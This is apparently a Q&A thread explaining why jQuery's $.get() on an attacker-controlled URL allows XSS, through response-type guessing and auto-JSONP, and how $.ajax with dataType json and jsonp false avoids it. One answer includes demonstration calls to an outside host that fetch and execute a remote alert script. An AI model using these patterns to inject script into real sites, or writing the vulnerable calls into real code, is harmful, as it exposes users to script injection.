Is jQuery's $.get() safe to call on an untrusted URL?
Does this code pattern create a XSS vulnerability, if an attacker chooses url maliciously?
Edit: yes, but not for the reason in your question.
The weird auto-JSONP feature is internally applied to AJAX requests using ajaxPrefilter("json jsonp")
. So it applies to the json
prefilter list but not other types or the default *
. However, prefilters apply before the response occurs, so this can't happen just because the server replies with a JSON-like type.
(Currently—as of 1.11.2—the docs for getJSON
don't describe the circumstances under which this potentially-dangerous behaviour fires exactly. And the docs for get
and ajax
don't mention auto-JSONP at all. So maybe it should be considered a bug. Certainly given how poorly-specified this is, I would not rely on it staying the same in future versions of jQuery.)
The actual reason it's vulnerable (as demonstrated by framp and toothbrush) is that without a dataType
parameter jQuery will guess one from the response. If the attacker's URL hits a resource served as a JS-like Content-Type
, jQuery will guess it is JavaScript and eval
it. Note: for the AJAX request to get far enough for this to work, for a resource on a third-party server, it would have to include CORS headers.
$.get(url, function (...) { ... }, 'json');
This version is not vulnerable to the response type guessing. However, it is vulnerable to the auto-JSONP filter.
To be safe, you have to both set the dataType
option and, if that option is json
, also the jsonp: false
option. Unfortunately, you can't set the jsonp
option in the get()
method. You should be able to do it by passing in an options dictionary instead of parameters, but you can't because this API is currently completely non-functional due to jQuery being a sad mess of broken Do-What-I-Mean APIs whose behaviour it is (increasingly) difficult to predict.
So the only safe way to fetch JSON from an untrusted URL is via basic ajax
:
$.ajax(url, {dataType: 'json', jsonp: false});
jQuery.get
does pose an XSS security risk.
If you look at the source for jQuery (or the documentation for jQuery.get
), you will see that jQuery.get
and jQuery.post
are just wrappers for jQuery.ajax({ url: url, data: data, success: success, dataType: dataType });
.
There are two problems here:
- If
dataType
isjsonp
, or the URL ends in=?
anddataType
isjson
, jQuery will try to make a JSONP request and theneval
the script. - If the response is a script, jQuery will execute that script unless
dataType
isjson
and thejsonp
option is set tofalse
.
So if you set dataType
to json
, and jsonp
to false
, it is safe to call jQuery.get
for an unknown URL.
Vulnerable script
$.get(url, function(...) { ... });
See the example on JSFiddle.
Safe script
$.ajax(url, { jsonp: false, dataType: 'json' }).done(function(...) { ... });
See the example on JSFiddle.
It depends.
TL;DR Yes, it's unsafe in certain cases.
If:
- You're not using Content Security Policy to filter outwards request (caniuse)
- The client browser support CORS (caniuse)
- The attacker can choose the URL
Then the attacker can execute JS on your page.
A malicious server with a matching protocol, the right CORS headers (Access-Control-Allow-Origin: *
) will be able to execute JS on your page thanks to jQuery automatic detection from the Content-Type header (which for JS will be script
).
Example you can try on this page on stackoverflow (assuming you're on http
):
$.get('http://zensuite.net/js/alert.js', console.log.bind(console));
If you want to see what happens if the CORS headers are not set:
$.get('https://zensuite.net/js/alert.js', console.log.bind(console));
Talking about your hypothesis instead, you won't likely manage to make jQuery transform a normal XHR request into a remote inclusion of a script.
After looking briefly at the code I think this won't likely happen (unless there is a bug somewhere), because you can switch to "remote script mode" only before asking for a transport and if your dataType
is
json
when the URL match therjsonp
regex/(=)\?(?=&|$)|\?\?/
;jsonp
script
These are also vulnerable:
$.get('https://zensuite.net/js/alert.js?callback=?', console.log.bind(console), 'json');
$.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'jsonp');
$.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'script');
This is of course not relevant for the question, given the fact you can just use $.get
to execute remote code.